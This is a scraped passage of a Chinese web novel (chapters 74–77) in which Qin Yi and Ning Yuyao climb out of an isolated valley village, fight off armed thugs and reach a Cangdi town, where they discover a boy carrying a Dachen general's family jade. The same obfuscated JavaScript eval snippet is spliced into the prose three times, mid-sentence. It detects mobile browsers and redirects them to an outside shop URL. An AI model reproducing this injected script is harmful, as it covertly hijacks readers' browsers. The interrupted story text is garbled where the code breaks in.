她默默点了点头,紧紧搂住秦熠,不再言语。 74.出路 江老的药效果很好,仅仅十来天,秦熠身上的伤便已痊愈。 伤好后的秦熠,又开始像往常一样早出晚归,不断尝试攀爬那陡峭的岩壁。 时光悄然流逝,春天渐渐过去,夏天悄然到来。 这天,近来无论多晚都会回家的秦熠,始终不见人影。 宁玉瑶不清楚秦熠是成功爬上悬崖后耽误了回来的时间,还是在攀爬时遭遇了意外。 她在房中枯坐了一晚。 第二天清晨,太阳刚刚升起,江思明来到宁玉瑶的房门前。 他敲了敲拐杖,说道:“别哭丧着脸,那小子命硬得很。你在这儿干着急也无济于事,不如跟老夫去采药。” 一整天,宁玉瑶都被江老使唤着在山间忙碌,让她无暇再去胡思乱想。 夜幕再次降临,一夜未睡又劳累了一整天的宁玉瑶,正准备上床休息时,门突然被推开,秦熠回来了。 宁玉瑶鞋都来不及穿便直接跑下床,扑到秦熠的怀里,泪水如决堤般止不住地滚落,“熠哥哥。” 秦熠急忙放下背上的背篓,将宁玉瑶抱起,搂在怀中柔声哄道:“是不是吓到你了?我没事,你看,我身上一点伤都没有。” 宁玉瑶仔细地在秦熠身上检查,发现除了他手上有几处轻微划伤外,确实没有其他伤痕,这才渐渐止住了眼泪。 秦熠把她放在床上,才解释道:“我爬上崖后有些脱力,本想等体力恢复再下来。正巧遇到了附近的一个猎户,从他口中得知,距离崖边大概半日路程处有一个镇子。我便先去镇子打探情况,还在镇里买了些东西。” 买东西的银两是他用太子殿下的金冠换来的。多亏江老提醒,他事先把金冠掰碎并抹去大宸的花纹,拿去金铺换银子才没被人发现端倪。 宁玉瑶之前就注意到地上的背篓,她转过头看着背篓问:“你都买了些什么?” 秦熠起身拿起背篓,把里面的东西摆在她面前。有一些成衣布料和吃食,他说道:“镇里没有太好的料子,这些虽不算上乘,但比我们现在的麻布柔软,你先凑合着穿。我还买了些铁钉和绳索,因为下来时要沿路钉铁钉,这才回来晚了。” 苍荻对铁器管制极严,为找到换购铁器的路子,他把从金发冠上掰下的碎金子消耗了大半,但铁钉对他们至关重要,不能不买,他必须确保之后带宁玉瑶攀爬时万无一失。 宁玉瑶听了秦熠的话,连忙把床上的东西拨到一边,说道:“你爬悬崖还要钉铁钉,肯定累坏了,我们先休息,其他事明天再说。” 秦熠也注意到她满脸的疲惫,知道她昨晚定是一夜未眠。他顺从地躺下,把宁玉瑶搂进怀中,轻声说:“好,睡吧。” 第二天一早,宁玉瑶与秦熠便背着背篓悄悄前往孟青涓家。 孟青涓见到秦熠拿出的料子和吃食后,心中有数,明白秦熠想必是找到了出去的方法。 她马上让女儿田莉把大门关上,轻声问秦熠:“那条路好走吗?” 秦熠略微思索了片刻,回答道:“那崖壁大概有五十丈高,对普通人而言,攀爬上去会有不少困难。不过这些天我会在沿途打上铁钉,这样的话,体力较好的人应该问题不大。” 孟青涓听后微微叹气,说道:“既然如此,这些东西你们还是尽量别拿出来。要是被别人知道你们能出去,而他们没办法,难免有人会嫉妒,说不定会去使坏。” “放心吧,涓姨,我们心里有数,不会被别人发现的,”宁玉瑶点头应道,把东西推到孟青涓面前,“这些都给您。” 孟青涓连连摆手拒绝,说:“这我可不能要,这些东西太贵重了。 宁玉瑶柔声劝道:“涓姨,我们很快就要出去了。这些东西对我们来说真不算什么,以后随时能再买。您要是实在过意不去,就帮我把小衣改得更合身些,穿在里面也不扎眼。” 孟青涓知道他们身份不凡,这些东西对他们来说确实不值多少钱。她稍作思索后,点头答应:“好,那我和小莉今晚就帮你改出来。” 孟青涓转头看到女儿正一脸羡慕地摸着那些不算精美,但是她长这么大第一次见到的料子,笑着说:“你今晚多用心,等帮你玉姐姐把衣服改好后,再给自己做一身。不过要记住,只能穿在里面,别给你玉姐姐添麻烦。” “我知道了,娘。”田莉立刻眉开眼笑,然后拉着宁玉瑶的手说:“谢谢玉姐姐。” “别客气,”宁玉瑶笑道,“不过也不用着急,你们慢慢做就行。” 众人说笑了一会儿,孟青涓继续给宁玉瑶介绍苍荻的习俗。眼见天色不早,田家的人该去地里干活,宁玉瑶才带着秦熠起身告辞。 出门时,孟青涓一再叮嘱道:“这些日子一定要小心,千万别让其他人知道你们能出去了。” “好,谢谢涓姨。”宁玉瑶和秦熠应道。 可即便他们有意小心隐瞒,小谷村人口稀少,若有人刻意留意秦熠的举动,哪怕他们再谨慎,也会很快被看出破绽。 正值夏季,雨水繁多。连日的倾盆大雨使得人们只能窝在家里,不过,这倒让秦熠趁机休整了几日,好好恢复了体力。 待雨停后,太阳将崖壁上的水晒干,他才继续攀爬悬崖。 上次回来时,因怕宁玉瑶担心,秦熠仅在崖壁关键的几处打上了钉子。这次上山,他需要再买些铁钉,尽量将难走之处都钉上。 秦熠背着上次采买剩下的铁钉,在树林中快速穿行,四周一片宁静,只有风吹过树叶发出沙沙的声响。 突然,秦熠耳朵一动,脸上表情未变,脚下却悄然改变方向,朝河边走去。 当他站在宽阔的滩涂上时,身后跟踪的人明白自己已经被发现,他们不再躲藏,纷纷现身将秦熠围住。 秦熠看着来人,微微扬起眉毛,语带嘲讽地说:“怎么,又想挨揍了?” 来人正是此前被秦熠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519353|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠教训过的彭舒生等八人。这次,他们手中不再是毫无杀伤力的木棍,而是换成了锋利的菜刀,眼中带着不顾一切的疯狂。 为首的仍是那个满脸横肉的男子,此时他双目赤红,状若癫狂,朝秦熠大喊:“快说,出去的路在哪!” 秦熠嗤笑一声,漫不经心地指向远方的悬崖道:“那不都是路?只要你们爬上去,就能出去了。” 彭舒生与横肉男子相差无二,他似乎全然忘记曾在秦熠手中吃过的苦头,大声喝道:“少糊弄人,你当我们没爬过吗!根本爬不上去!快说,路到底在哪!” 旁边的人也跟着嚷道:“你要是不说,今天就别想走!” 秦熠轻蔑地说:“你们上不去,不代表别人上不去。” 横肉男子听后瞬间失去理智。 他在小谷村已经待了太久,曾经他在县城里过得逍遥自在,吃香的喝辣的,只因打架时不小心打死了县里富户的子侄,就被人打断一条胳膊,然后扔下了河。 虽然他侥幸未死,但自从来到小谷村后,他再没吃过一顿饱饭,每日都想着回去,他真的受够了这种穷苦日子。 横肉男子高高举起手中的刀,狠狠朝秦熠砍去,嘴里喊着:“既然我们出不去,你也别想出去!” 秦熠冷哼一声,身体微微一侧,轻松躲过这致命一击。 旁边几人也从同时不同方向挥刀砍来,秦熠不退反进,一个箭步冲向左边两人。那两人惊慌失措地胡乱挥舞菜刀,秦熠在两人中间一闪而过,用力击打他们手腕,那两人手中的菜刀瞬间脱手。 这时,背后又有三把刀袭来,秦熠仿佛后背长了眼睛一般,猛地转身,一脚踢中最前面彭舒生的腹部。彭舒生被踢得连连后退,撞到身后两人,三人一起摔倒在地。 横肉男子见势不妙,大吼一声,再次举刀冲向秦熠。 秦熠冷笑,伸出双手精准抓住横肉男子手腕,用力一拧。横肉男子痛苦嚎叫,菜刀“哐当”一声落地。秦熠顺势一推,横肉男子踉跄着后退好几步。 不一会儿,八个人都被秦熠打得倒在地上。 秦熠静静地站在原地,看着地上痛苦呻吟的人,心里明白这些人不能留,这些日子,玉瑶会独自留在村子里,留下这些人会是个巨大隐患。 他拿出绳子将这些人的手脚全部捆住。此时,这些人恢复了理智,开始害怕,不停地向秦熠求饶。 “小易,放了我们吧,以后我们再也不敢了。” “易哥,我们就是一时糊涂,求求你,放了我们吧!” 秦熠对他们的求饶充耳不闻,但他没有杀他们,只是将他们一个一个全部丢进河中。 既然他们这么想离开小谷村,那就让他们顺着河水离得远远的吧。 等到那群人被河水冲得不见踪影,秦熠才弯腰捡起地上的菜刀,扔进背篓中。 这可不能浪费,待会儿可以用这些菜刀多换几个铁钉。 75.离别 第二次攀爬这道崖壁,秦熠算得上轻车熟路。 今日发生的事,让他不放心玉瑶独自在村里过夜,他加快脚步,一路紧赶慢赶,总算是在天黑之前回到了小谷村。 此时天边还残留着一抹绚烂的晚霞,将小谷村染成了一片橙红色。 宁玉瑶刚沐浴完,坐在院子中晾着头发。她看见秦熠神色匆忙地从树林里走了出来,连忙起身,快步迎了上去,问道:“今天怎么回来得这么早?” 秦熠不想让她担心,于是笑道:“今日事情办得顺利,就早些回来了。” 宁玉瑶没有怀疑,看见他肩上的背篓,伸手想要帮他拿下来。 秦熠赶紧伸出手拦住,“这里面都是东西,我把它放屋里去就行。” 宁玉瑶跟着进了木屋,她翻弄着秦熠放在地上的竹筐,惊讶地问道:“怎么买了这么多东西?” 秦熠解释道:“村子里物资匮乏,什么都没有。我就想着给涓姨和江老他们带点他们缺的东西。” 宁玉瑶点了点头,她抬眼看见秦熠满身汗水,脸上都是疲惫,赶紧说道:“你快去沐浴吧,等会儿早点休息。对了,用过晚膳了吗?” 秦熠抬手擦了擦汗,冲她笑了笑,应道:“放心吧,我在路上买了饼,已经吃过了。” 等他沐浴完走回房间,便看见宁玉瑶身着中衣,披散着如丝般柔顺的头发,坐在床上清点他从镇子里带回来的东西。 天边的霞光透过窗户倾洒进来,柔和的光芒笼罩在她的身上,恍惚间,就如同寻常百姓家温柔的妻子一般。她一边整理着物品,一边小声地碎碎念,那模样怎么看怎么可人。 宁玉瑶忽然感觉到有一股灼热的视线,她有些疑惑地抬起头,就看到秦熠正一动不动地盯着她,他的眼眸中带着炽热的复杂情绪,似乎要将她吞入腹中。 看到秦熠这样的眼神,宁玉瑶心中莫名有些害怕,她慌乱地抓起身侧的枕头挡在胸前,磕磕巴巴地说:“你……你要干什么……” 秦熠故意沉着脸,一步一步爬上床。 宁玉瑶不由自主地往后退去,却被秦熠抓住了脚踝,他轻轻一拉,就将她拖到了身前。 秦熠欺身而上,将她牢牢压住,“小娘子生得如此貌美,不如留下来当本寨主的压寨夫人?” 一听这话,宁玉瑶就知道他又在故意逗自己。她抓着枕头朝秦熠狠狠地拍了过去,“你混蛋!” 秦熠哈哈大笑,也不躲闪,任由宁玉瑶出气。直到宁玉瑶累得气喘吁吁,他才扔开她手中的枕头,一把将她抱起来,按在怀里使劲揉了揉,把宁玉瑶揉得浑身泛红才罢手。 宁玉瑶气得在他怀里直哼哼。 秦熠轻抚着她的秀发,亲了亲她绯红的脸颊,在她耳边轻声说道:“过几日我们就离开这里吧。” 宁玉瑶收回偷偷掐他的手,沉默了下来。虽然她一直想着要回大宸,但等到真正要离开的时候,她心中却突然有些不舍。 秦熠与她自幼相识,自然知道她心肠软,最害怕的就是离别。他没有再多说什么,只是将怀中的人抱得更紧了,低下头亲吻着她的头顶,安抚道:“玉瑶,我会一直在你身边。” 宁玉瑶伸手搂住了秦熠的脖子,将头埋进他的肩窝,泪水渐渐浸湿了他的衣襟。 接下来的几天,秦熠每天天刚蒙蒙亮就起身前往崖壁处,逐一检查铁钉的状况,把那些松动的铁钉进行加固。 宁玉瑶则在屋内把秦熠从镇子里带回来的东西仔细整理好,再分批给孟青涓送去。 村里那几个平日里横行霸道的混混不知为何突然没了踪影,村民们纷纷猜测他们的去向,各种说法层出不穷。 只有孟青涓暗自猜测,这件事或许与易禾脱不了干系。 不过孟青涓也明白,这些混混的消失对小谷村而言是件好事,所以她并未声张。 只是,当她看着宁玉瑶送来的东西时,心中泛起一阵酸楚,她清楚,小玉和易禾应该快要离开小谷村了。 她心中满是不舍,毕竟相处了大半年时间,两家的关系已经极为亲近。她拉着宁玉瑶的手,哽咽道:“路上一定要小心。” 宁玉瑶眼眶泛红,有些犹豫地说道:“涓姨,我们……” 孟青涓像是知道她要说什么,急忙打断她的话:“别说,谁也别告诉。你们悄悄地走,在外面不要轻易相信任何人,明白吗?” “好,”宁玉瑶重重地点了点头,“还有江老……” 在一旁默默抹着眼泪的田莉接过话茬说道:“玉姐姐,你放心,江老祖有我们照顾着呢。” 宁玉瑶强忍着心中的不舍,与她们依依惜别。 等她回到小院,江思明从屋里走了出来,手上拎着一个小巧精致的竹匣。 “拿着。”江思明将竹匣递到宁玉瑶的面前。 宁玉瑶懵懂地接过,从竹匣崭新的色泽与纹理能看出这是新编成的。她诧异地问:“江老,这是什么?” 江思明拄着拐杖慢慢走到一旁坐下,说道:“这里面装着一些药,有治疗外伤的伤药,关键时刻能救命的解药,还有一些毒药。你拿回去之后自己慢慢研究,千万别瞎用,要是不小心出了什么差错,吃死了人,我可不负责。” 宁玉瑶听着江老的话,走到江思明的面前蹲下,眼泪如断了线的珠子一般簌簌地往下掉。 她抽噎着说:“江老,谢谢您。” 谢谢您救了我和熠哥哥,谢谢您收留我们,谢谢您教我医术。 江思明看着宁玉瑶哭泣的样子,难得没有像往常那样敲她的头。他伸出手,放在宁玉瑶的头顶上,轻柔地抚摸着。 他叹了口气,有些无奈地说道:“女娃娃就是眼泪多,别哭了,看得老夫头疼,赶紧回去吧。” 江思明已经活了九十多岁了,在这漫长的岁月里,他身边的人来了走,走了又来,他早已经习惯了这种聚散离合。天下无不散筵席,也只有这些十来岁的小娃娃还这么多愁善感。 多愁善感的宁玉瑶离开时,天空漆黑一片,没有一丝光亮。 他们小心翼翼地推开木屋的门,静静地走出木屋,手中只有江老给的小竹匣,其余物品一概未拿。 秦熠牵着宁玉瑶的手,轻轻摩挲她的手背安抚着她。 宁玉瑶抬起头,对着秦熠勉强挤出一丝微笑,拉着他来到江思明的屋前,深深地朝着屋子行了个揖礼。 过了好一会儿,他们才起身离开院子。走到树林边时,他们忍不住回首望去。 夜空下,小村庄静静地卧在那里,那熟悉的房屋、蜿蜒的小路,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533661|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们初来时一样宁静祥和。 他们静静地凝望着,片刻后转身走进树林,背影逐渐消失在黑暗中,仿佛他们从未来过。 许久之后,江思明的屋内传出一声轻轻的叹息。 * 宁玉瑶跟着秦熠来到山崖下,那崖顶仿佛高耸入云,完全看不到尽头。 她转过头看向秦熠,也不知道熠哥哥到底费了多少功夫,吃了多少苦头才爬上这陡峭的崖壁。 秦熠看到她的神情,以为她害怕了,安抚道:“玉瑶,别怕。那些难走的地方我已经提前打上了铁钉,不会摔下来的。” “熠哥哥,我不怕,”宁玉瑶说着,从自己的衣襟中掏出一根布条,将布条绑在了自己的眼睛上,“我看不见,就不会害怕了。” 秦熠轻声笑了笑,没有再多说什么。只是微微弯下腰,将她背了起来,然后用坚韧的绳索将两人的身体牢牢地捆在一起。他的声音沉稳有力:“玉瑶,我们回家。” 宁玉瑶乖乖地趴在秦熠宽阔的背上,能清晰地感受到秦熠身体的起伏。随着时间慢慢流逝,秦熠的呼吸渐渐变得急促起来。 山崖上狂风呼啸,吹得他们的衣裳呼呼作响。尽管已到夏日,但清晨的风依旧带着丝丝凉意。宁玉瑶的手脚被那凛冽的狂风吹得冰凉,她仿若未觉,一动不动地安静趴着。 宁玉瑶在心中默数着,秦熠一共停下休息了六次。最后,秦熠猛地用力一跃,她的身体擦过一片粗糙的岩石,接着便和秦熠一起重重地倒在了地上。 秦熠赶紧翻身松开身上的绳索,将宁玉瑶抱了起来。此时,她的四肢冰凉,已经没有了知觉。 宁玉瑶脸上的布条还没取下来,她听到耳边传来秦熠懊悔的叹息声。她努力让自己的声音听起来轻松些,轻声说道:“熠哥哥,我没事的。等我休息一会儿,身子暖和起来就好了。” “嗯。”秦熠低声应着,抱起她走了一段路,才停下来坐在地上,取下了宁玉瑶蒙着眼睛的布条。 宁玉瑶任由秦熠揉搓着她冰凉的四肢,好奇地打量着周围。 此时,天空已经大亮。他们坐在树林边的一棵大树下,山崖上的树木比小谷村的树木高大许多,郁郁葱葱,繁茂的枝叶几乎遮天蔽日。 阳光透过树叶的缝隙,形成一道道金色的光束。在那斑驳的光影中,偶尔能看到几只色彩斑斓的小鸟在枝头欢快地跳跃着。 等她的手脚渐渐暖和起来,秦熠从自己的衣襟中掏出几个昨晚煮好的鸡蛋。他细心地剥开蛋壳,将鸡蛋递给宁玉瑶,说道:“先凑合着吃一点,等一会儿到了镇子里,我们再找个酒楼好好地用膳。” 踏上归途的宁玉瑶,心中除了对江老和涓姨有着不舍外,更多的还是高兴。 她其实不在意这一顿吃什么,但她知道秦熠攀爬悬崖消耗体力更大。便只吃了两个鸡蛋,就将剩下的留给了秦熠。 秦熠见她不想再吃,也不勉强,三两下将剩下的鸡蛋全塞进嘴里,然后拉起宁玉瑶站起身来,问道:“怎么样?现在能走了吗?” 宁玉瑶眉眼弯弯,笑道:“别小瞧我,我天天帮江老采药,现在身体好着呢。” 秦熠也知道宁玉瑶现在的身体比以前更健康了,他笑着牵起宁玉瑶的手,两人一起沿着小路向山下走去。 76.喘疾 秦熠带着宁玉瑶在树林中穿梭,待到烈日当空时,他们眼前的地势渐渐平坦,行人踩踏出的山间小路也愈发多了起来。 山脚下行人逐渐增多,这些行人大多穿着粗布麻衣。 宁玉瑶在小谷村的那段日子,整日风吹日晒,原本细腻的皮肤稍显粗糙。她和秦熠混在人群中,并不引人注目。 在他们前方有一座城镇,镇子的城门并不高,城门上方的石壁上用苍狄文字刻着“启宁镇”。 秦熠紧紧牵着宁玉瑶的手,随着熙熙攘攘的人流朝着城门走去。 城门口有官兵把守,进城需要交入城税。秦熠早有准备,他从怀里掏出四枚铜板交给守卫,与宁玉瑶一起顺利地走入城门。 苍荻地处西南方,此地树木繁多。启宁镇中的屋舍大多是用木头搭建的二层小楼。 走在镇中的街道上,人群异常拥挤,秦熠不由得微微皱起了眉头,前几次他来此地时并未见到这么多人。 宁玉瑶则在一旁好奇地四处张望,这里的风貌与大宸截然不同。突然,她拉了拉秦熠的手,秦熠侧过头,顺着她的示意看向路上行人的脸。 镇里的行人,无论男女老少,脸上都用靛蓝色颜料画着各式各样的花纹。 两人对视一眼,想起孟青涓之前说过,苍荻在夏季多病多灾,所以每年六月初三,苍荻人都会到城镇司殿让奉司在脸上画上祷纹,以此祈求夏季平安度过。 这种祷纹水洗不掉,但会随着时间慢慢褪色,大概两三个月就会完全消失。 鉴于他们不知道自己现在身处何方,可能会在苍荻境内待上不短的时间,而此时正好赶上当地画祷纹的习俗,若特立独行,恐会惹出麻烦,入乡随俗才是最好的选择。 两人没有犹豫,跟在几个和他们差不多同时进城,还未来得及画祷纹的人身后,朝着启宁镇的司殿走去。 苍荻的司殿类似于大宸的寺庙道观,里面供奉着苍荻古老传说中流传至今的神明。不过,它在苍荻的地位比大宸的寺庙道观要高上许多。苍荻所有司殿都由国师掌管,而国师在苍荻是仅次于苍荻王的存在。 在小谷村,听到这些消息时,秦熠就和宁玉瑶嘀咕,不知道苍荻王是怎么想的,常言道“卧榻之侧岂容他人酣睡”,可他竟能容忍国师与自己平起平坐。 他们此刻站在司殿内,扑面而来的庄严肃穆,让他们更深刻地感受到了司殿在苍荻的超然地位。 启宁镇的司殿是镇子里唯一用砖瓦修葺而成的房屋,就连他们路上经过的监镇官府邸,其规模和气势与司殿相比都差得远。 司殿的大殿巍峨高耸。 进入大殿,正位上摆放着三座镀金彩绘塑像。 正中间是一尊有着八只手的女性雕塑,八手姿态各异,女性神明双眸低垂,仿佛在静静地俯视着殿中来往的芸芸众生。 两侧是两座看不出性别的青面獠牙雕塑,祂们各自手持刀戟守护在八手女性雕塑身旁。 司殿中虽挤满了百姓,但他们井然有序地排成三列长队,安静地等待着奉司给自己赐福。 那队伍蜿蜒曲折,看不到尽头。不过这里的奉司对这事显然驾轻就熟,很快就轮到了宁玉瑶。 宁玉瑶跪坐在蒲团上,她面前的奉司拿起毛笔蘸满靛蓝色颜料,笔尖在她脸上熟练地游移着。 宁玉瑶微微皱了皱鼻子,闻到一股淡淡的染料气味,她仔细分辨发现这染料由天然植物调制而成,心中的担忧顿时消减了许多。 待祷纹画完,奉司将手放在宁玉瑶头顶。宁玉瑶悄悄用余光观察旁人动作,跟着将双手握拳交叠在胸前,微微弯腰。 奉司念着她听不懂的经文,她全神贯注地跟着旁人动作,不敢懈怠。 等这一连串复杂庄重的仪式结束,宁玉瑶后背冒出了冷汗。 她轻轻舒了口气,如释重负地走到殿门前比她先完成祷文的秦熠身边,说道:“熠哥哥,走吧。” 秦熠没有回应,只是眉头紧锁,目光直直地看向不远处。 宁玉瑶顺着他的目光望去,殿门前有一排高大的树木,树荫下有个看起来约莫五岁的小男孩正在玩耍,小男孩身边站着几名身着侍卫服饰的人守护着他。 宁玉瑶仔细观察小男孩,他脸上并未像其他人那样画着祷纹,但也没有什么特别异样。不过这孩子身体似乎不太好,口唇和指甲都出现了紫绀。 果然没过多久,小男孩呼吸变得急促起来,喉咙中发出明显的哮鸣音。 旁边的侍卫们瞬间神色紧张,其中一名侍卫立刻弯腰抱起瘫倒在地的小男孩,急匆匆地朝着司殿后院跑去。 直到他们的身影彻底消失不见,秦熠才满脸凝重地收回目光。 此地人多眼杂不宜说话,他牵起宁玉瑶的手,快步朝司殿外走去。 他们七拐八弯来到一个僻静之地,秦熠警惕地扫视四周,确定没有其他人后,才凑到宁玉瑶耳边轻声说:“方才那小男孩身上所佩玉佩,是方将军的家传玉佩。” 方将军? 宁玉瑶拧眉,小声问,“可是方廷峪?” 秦熠一脸沉重地点头。 宁玉瑶满心疑惑,她知道方将军仅有一子,叫方敏策,比秦熠小两岁,在雁京京翼卫任职,还是她哥哥的手下,她从未听闻方将军还有其他子女。 方家这枚家传玉佩,是方将军的祖父当年攻打苍荻时,从苍荻王那缴获的战利品。那玉佩原本刻着苍荻王室的纹章,被方老将军缴获后,磨去中间的苍狄文字,重新刻上了大大的“方”字。 在雁京,几乎所有官员都知晓这块玉佩的来历。按理说,这玉佩应在方敏策成婚时传给他,可谁能想到,它竟出现在一个苍荻小孩身上。 宁玉瑶再次问道:“熠哥哥,确定是同一块玉佩?” 秦熠笃定地点头,轻声解释:“在雁京时,方敏策曾偷偷拿出给我们看过,那玉佩上玉瑕位置与大小一模一样。” 要知道,玉石天然纹路和瑕疵虽可能相似,但绝不可能完全相同。 宁玉瑶闻言,眉头皱得更紧。一个大宸戍边将军,竟有个儿子在敌国,且这孩子在苍荻地位不低的司殿内,还有侍卫悉心照料,这里面的牵扯定不简单。 既然方将军把家传玉佩给了这孩子,那他必然知晓这孩子的存在,且极为看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546421|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重。只是,不知这孩子的母亲是谁,方将军又为何让他留在苍荻。 宁玉瑶抬头望着秦熠阴云密布的面庞,轻轻捏了捏他的手说:“熠哥哥,此事非同小可,我们得查清楚再走。” 秦熠内心十分矛盾,他下意识地想要反对。此时他心中最迫切的想法就是尽快护送宁玉瑶回雁京,不想让她在苍荻继续受苦。 宁玉瑶自然能感受到秦熠对她的疼惜,但她认真地劝道:“熠哥哥,秦将军也是戍边将军,你肯定比我更清楚,一旦将军叛变,会给大宸造成多大的危害。” 秦熠也明白必须查清楚此事。若这孩子是苍荻掳来威胁方将军的,那他们得赶在方将军动摇前把孩子带回去;若方将军早有二心,他们就得找到证据回去禀报皇上。 否则任由一个叛变的大将手握兵权镇守一方,迟早会引发大祸。 秦熠反复权衡利弊,想通了其中关键,朝宁玉瑶点了点头,同意了她的提议。 接下来几天,宁玉瑶独自待在客栈房间闭门不出。而秦熠每日都想方设法,试图潜入司殿探查那孩子的来历,但司殿的守卫极为严密。 按常理,一个镇子的司殿不该有如此森严的守卫,秦熠推测这些守卫是为守护那个神秘孩子。 他尝试了许多方法,始终无法混入司殿,事情棘手程度远超想象。 正当他一筹莫展时,事情有了转机。 那孩子病情加重,启宁镇的大夫对其病症无能为力,司殿张贴榜文寻求良医。 宁玉瑶在客栈偶然听到了这个消息。 晚上秦熠回来后,她立刻告诉秦熠,或许她可借此机会混进司殿。 但她的话还未说完,秦熠就反对道:“不行,我绝不能让你冒险。” “可是熠哥哥,你也知道,这个机会一旦错过,可能会耽误我们更多时间。而且有你在,我只是个大夫,只管治病,其他一概不管。” 秦熠仍有些担心:“可你只学了半年医术,万一治不好,他们拿你问罪怎么办?” 宁玉瑶狡黠一笑:“若是别的病症,我不会傻乎乎地撞上去。但那天我仔细观察过,那孩子得的应是喘疾,对喘疾我可太熟悉了。” 秦熠被她逗笑,心想当然熟,之前彭舒生被她扎了近两个月针,吓得喘疾反复发作,让她把喘疾各种症状烂熟于心。 秦熠点头应道:“那就去试试。不过我要当你的药童,你若是治不好就别勉强,我们就当没这事,马上离开。” 宁玉瑶看着牛高马大,脸上画着祷纹看不出原本面目的秦熠,踢了踢他小腿笑道:“谁家药童长得这么高呀。” 秦熠想了想,也觉得叫药童不像话,笑嘻嘻地说:“那就叫药仆,不管叫什么,反正你得带上我。” “那是自然,”宁玉瑶正色道,“我们就试这一次,不行就赶紧跑,等回到大宸,我就去找舅舅告刁状!” 他们虽这么说,但仍希望能查清此事。毕竟方将军在宫变时为承武帝保住皇位立下赫赫战功,且在边疆戍守多年,既有功劳也有苦劳。 他们不想在没有确凿证据时冤枉大将军,那样会寒了将士们的心。 77.财迷 人靠衣装马靠鞍,既然要去给一个被严密看守着的孩子看病,宁玉瑶自然不能穿得破破烂烂的,否则连门都进不去。而且治疗喘疾,针灸必不可少,所以他们还需要买一套银针。 可眼下他们银钱不多了。之前为了买铁钉,已将金发冠消耗掉了大半,如今剩下的碎银子本是计划用来买马车的。 他们特意去医馆问过,因为制作针灸针的工艺复杂,一副针灸银针比一辆马车还贵,他们身上这点银子根本买不起一副银针。 两人只能唉声叹气地相对而坐。 宁玉瑶犹豫了半晌,从衣襟中掏出一只小金鼠。 这只小金鼠是秦熠送给她的及笄礼物,虽然一直嫌它丑,但去定州时还是特意带上了,没想到现在要用来应急。 她依依不舍地取下小金鼠交给秦熠,“熠哥哥,把这个当了吧。” 秦熠看着宁玉瑶不舍的样子,握住宁玉瑶的双手说:“没事,等回去了我给你打一个更大的老鼠。” 听到这话,宁玉瑶脸上的难过瞬间消失,“谁要那种丑东西,快滚!” 秦熠半点不恼,嬉笑着拿上金鼠赶紧跑了。 过了一会儿,秦熠拿回来一副银针和一套崭新的成衣。 宁玉瑶展开新衣左右看看,问秦熠:“熠哥哥,你没给自己买吗?” 秦熠笑了笑说:“我就一个仆人,穿什么新衣裳,穿麻衣就可以了。” 宁玉瑶仔细一想,觉得也对,便没再多说。 他们又在客栈中耐心地等了几日,等到司殿门前悬赏榜的赏金涨到一千两白银时,他们终于敲响了司殿大门。 * 司殿后院的一处幽静小院里,一个孩童静静地躺在床上,他嘴唇呈现出骇人的紫色,胸膛急促地起伏着,不时发出令人揪心的哮鸣声,那孱弱的模样仿佛下一刻就会喘不过气来。 床沿坐着一位年轻妇人,她双眼布满血丝,目不转睛地盯着床前头发花白的老大夫给孩子把脉。 片刻之后,老大夫收回手,无奈地摇头叹息道:“小公子的喘疾日渐严重,请恕在下实在无能为力。” 年轻妇人一听这话瞬间崩溃,猛地扑到孩子身上放声痛哭:“我的跃儿还这么小啊,大夫,求求您再看看吧,您一定还有办法的。” 她的哭声撕心裂肺,在房间里回荡着。 大夫再次摇了摇头。这些日子,他每日按时来给这个孩子看诊,可无奈自己医术有限,对这孩子的病症束手无策。 他叹了口气,领着小药童走出房门,与站在门口等候通传的宁玉瑶擦肩而过。 宁玉瑶望着老大夫远去的背影。 这些时日,秦熠打听过,这位老大夫已是启宁镇医术最好的大夫了。连他都对这孩子的病症毫无办法,看来这孩子的病确实极为棘手。 不过,无论如何都要亲自查看一番才能知道具体情况。 没过多久,屋内的哭声止住,侍女出来请宁玉瑶进去,由于屋内有女眷,她身边的秦熠只能留在门外。 宁玉瑶收回思绪,用眼神安抚秦熠后,跟着侍女走进卧房。 进门绕过屏风,就是一张华贵的黄花梨木拔步床,床幔半掩着,看不清孩子的状况。 床沿坐着个年轻妇人,眼眶泛红,眼角还有未擦干的眼泪。她生着一张瓜子脸,不是多么美艳的长相,但此刻梨花带雨,别有一番楚楚可怜的韵味。 宁玉瑶注意到的却是妇人身上的衣裳,那是一身浅紫云锦长身比甲,不管料子还是样式都是大宸的样式,怎么看这都是一个大宸妇人,然而她开口却是极为正宗的苍荻官话:“你就是揭了榜的大夫?” 妇人有些狐疑地打量着宁玉瑶。 